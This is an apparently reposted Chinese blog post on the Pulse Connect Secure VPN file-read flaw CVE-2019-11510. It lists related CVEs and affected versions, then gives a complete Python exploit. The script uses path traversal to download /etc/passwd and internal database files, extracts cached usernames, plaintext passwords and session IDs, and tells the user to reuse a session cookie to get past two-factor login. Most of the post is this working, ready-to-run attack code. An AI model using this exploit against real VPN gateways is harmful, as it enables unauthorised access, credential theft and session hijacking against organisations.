漏洞分析

我们可以通过CVE-2019-11510这个未授权的任意文件读取漏洞把以下文件下载回来。

  1. /etc/passwd
  2. /etc/hosts
  3. /data/runtime/mtmp/system
  4. /data/runtime/mtmp/lmdb/dataa/data.mdb
  5. /data/runtime/mtmp/lmdb/dataa/lock.mdb
  6. /data/runtime/mtmp/lmdb/randomVal/data.mdb
  7. /data/runtime/mtmp/lmdb/randomVal/lock.mdb

其中,mtmp/system文件保存了用户名和密码哈希。

dataa/data.mdb缓存了已登录用户的明文密码。

randomVal/data.mdb文件保存了用户的会话。

但是就是获得了账号密码,也要面对双因素认证。

第一方法,通过randomVal/data.mdb保存的会话登录。

事实上,研究员还发现了以下安全漏洞。

  • CVE-2019-11510 - Pre-auth Arbitrary File Reading
  • CVE-2019-11542 - Post-auth Stack Buffer Overflow
  • CVE-2019-11539 - Post-auth Command Injection
  • CVE-2019-11538 - Post-auth Arbitrary File Reading
  • CVE-2019-11508 - Post-auth Arbitrary File Writing
  • CVE-2019-11540 - Post-auth Session Hijacking

影响版本

漏洞编号            影响版本

CVE-2019-11510                Pulse Connect Secure: 9.0RX 8.3RX 8.2RX

CVE-2019-11542                Pulse Connect Secure: 9.0RX 8.3RX 8.2RX 8.1RX 和 Pulse Policy Secure:9.0RX 5.4RX 5.3RX 5.2RX 5.1RX

CVE-2019-11539                Pulse Connect Secure: 9.0RX 8.3RX 8.2RX 8.1RX 和 Pulse Policy Secure: 9.0RX 5.4RX 5.3RX 5.2RX 5.1RX

CVE-2019-11538                Pulse Connect Secure: 9.0RX 8.3RX 8.2RX 8.1RX

CVE-2019-11508                Pulse Connect Secure: 9.0RX 8.3RX 8.2RX 8.1RX

CVE-2019-11540                Pulse Connect Secure: 9.0RX 8.3RX 和 Pulse Policy Secure: 9.0RX 5.4RX

漏洞利用

https://github.com/projectzeroindia/CVE-2019-11510

参考以上shell脚本写的python版exp:

使用:python exp.py https://sslvpn.target.com/

import requests
import requests.packages.urllib3
requests.packages.urllib3.disable_warnings()
import os
import sys
from urllib.parse import urlparse,urljoin banner = '''
_______ ________ ___ ___ __ ___ __ __ _____ __ ___
/ ____\ \ / / ____| |__ \ / _ \/_ |/ _ \ /_ /_ | ____/_ |/ _ \
| | \ \ / /| |__ ______ ) | | | || | (_) |______| || | |__ | | | | |
| | \ \/ / | __|______/ /| | | || |\__, |______| || |___ \ | | | | |
| |____ \ / | |____ / /_| |_| || | / / | || |___) || | |_| |
\_____| \/ |______| |____|\___/ |_| /_/ |_||_|____/ |_|\___/ python By StudyCat
'''
print (banner) def exp(url):
netloc = urlparse(url)[1]
path = urlparse(url)[2]
if path == '/':
url = url
elif path == '':
url = url+'/'
else:
print("URL Error")
return
r = requests.get(url+'data-na/../dana/html5acc/guacamole/../../../../../../../etc/passwd?/dana/html5acc/guacamole/', verify=False)
if r.status_code == 200 and 'root:x:0:0:root' in r.text:
print(url + " ---------------> Vulnerable\n")
print('Extracting /etc/passwd')
print ("Writing all files to output dir " + netloc)
if not os.path.exists(netloc):
os.mkdir(netloc)
print(r.text+"\n")
f = open(netloc+'/passwd','a')
f.write(r.text)
f.close() r = requests.get(url+'data-na/../dana/html5acc/guacamole/../../../../../../../etc/hosts?/dana/html5acc/guacamole/', verify=False)
if r.status_code == 200:
print('Extracting /etc/hosts')
print(r.text)
f = open(netloc+'/hosts','a')
f.write(r.text+"\n")
f.close() print('Downloading /data/runtime/mtmp/lmdb/dataa/data.mdb to extract plaintext usernames and password')
r = requests.get(url+'data-na/../dana/html5acc/guacamole/../../../../../../../data/runtime/mtmp/lmdb/dataa/data.mdb?/dana/html5acc/guacamole/', verify=False)
if r.status_code == 200:
f = open(netloc+"/data_runtime_mtmp_lmdb_dataa_data.mdb",'ab')
f.write(r.content)
f.close() f = open('data_runtime_mtmp_lmdb_dataa_data.mdb','rb')
users = []
buf = f.readline()
while buf:
n = buf.count(b'CN=')
if n>0:
for i in range(n):
if i :
indexx = buf.find(b'CN=',indexx+1)
else:
indexx = buf.find(b'CN=')
t = buf[indexx:indexx+100]
end = t.find(b'\x00')
t = buf[indexx:indexx+end]
users.append(t.decode())
buf = f.readline()
f.close()
users = list(set(users))
f = open(netloc+"/users.txt","a")
for line in users:
f.write(line+"\n")
f.close() print("Downloading /data/runtime/mtmp/lmdb/randomVal/data.mdb to extract sessionids, Use DSID=SESSIONID; as cookie to login directly into vpn")
r = requests.get(url+'data-na/../dana/html5acc/guacamole/../../../../../../../data/runtime/mtmp/lmdb/randomVal/data.mdb?/dana/html5acc/guacamole/', verify=False)
if r.status_code == 200:
f = open(netloc+"/data_runtime_mtmp_lmdb_randomVal_data.mdb",'ab')
f.write(r.content)
f.close() f = open(netloc+"/data_runtime_mtmp_lmdb_randomVal_data.mdb",'rb')
sessionids = []
buf = f.readline()
while buf:
n = buf.count(b'randomVal')
if n>0:
for i in range(n):
if i :
indexx = buf.find(b'randomVal',indexx+9)
else:
indexx = buf.find(b'randomVal')
t = buf[indexx:indexx+41]
if len(t)==41 and b'\x00' not in t:
sid = t[9:].decode()
sessionids.append(sid)
buf = f.readline()
f.close()
sessionids = list(set(sessionids))
f = open(netloc+'/sessionids.txt','a')
for sid in sessionids:
print(sid)
f.write(sid+"\n")
f.close()
else:
print(url + " ---------------> Not Vulnerable") def main():
url = sys.argv[1]
exp(url) if __name__ == '__main__':
main()

参考:

https://github.com/projectzeroindia/CVE-2019-11510

https://hackerone.com/reports/591295

转载请注明出处。

最新文章

  1. ceph hadoop spark 大数据处理
  2. .NET转JAVA之拼音组件
  3. <global-results>怎么用
  4. Python项目实战
  5. Python OpenCV ——Matplotlib显示图片
  6. .Net Core 项目中的包引用探索(使用VSCode)
  7. ASP.net(C#)利用SQL Server实现注册和登陆功能
  8. Java根据字节数据判断文件类型
  9. jquery解决onmouseover和onmouseout合用的bug问题
  10. Grunt.js 上手
  11. BAT 特殊符号总结
  12. jsp中获取json字符串,并解析
  13. 基于TFS的.net技术路线的云平台DevOps实践
  14. 超简单的js评价小星星
  15. PM意识升级2.0
  16. P1181 数列分段Section I
  17. VUE 引入阿里图标库
  18. 挖坑:handoop2.6 开启kerberos(全流程学习记录)
  19. [转]lua数据结构--闭包
  20. sun 证书问题解决

热门文章

  1. BZOJ 1453 (线段树+并查集)
  2. 【SaltStack官方版】—— returners——返回器
  3. MFC 可编辑文本框,MFC控件关联变量总结
  4. WebService如何封装XML请求 以及解析接口返回的XML
  5. 获取link后的参数值
  6. Java学习笔记(持续更新ing)
  7. 微信小程序地图总结
  8. bzoj5457
  9. javascript数据结构之队列
  10. Codeforces 1009 F. Dominant Indices(长链剖分/树上启发式合并)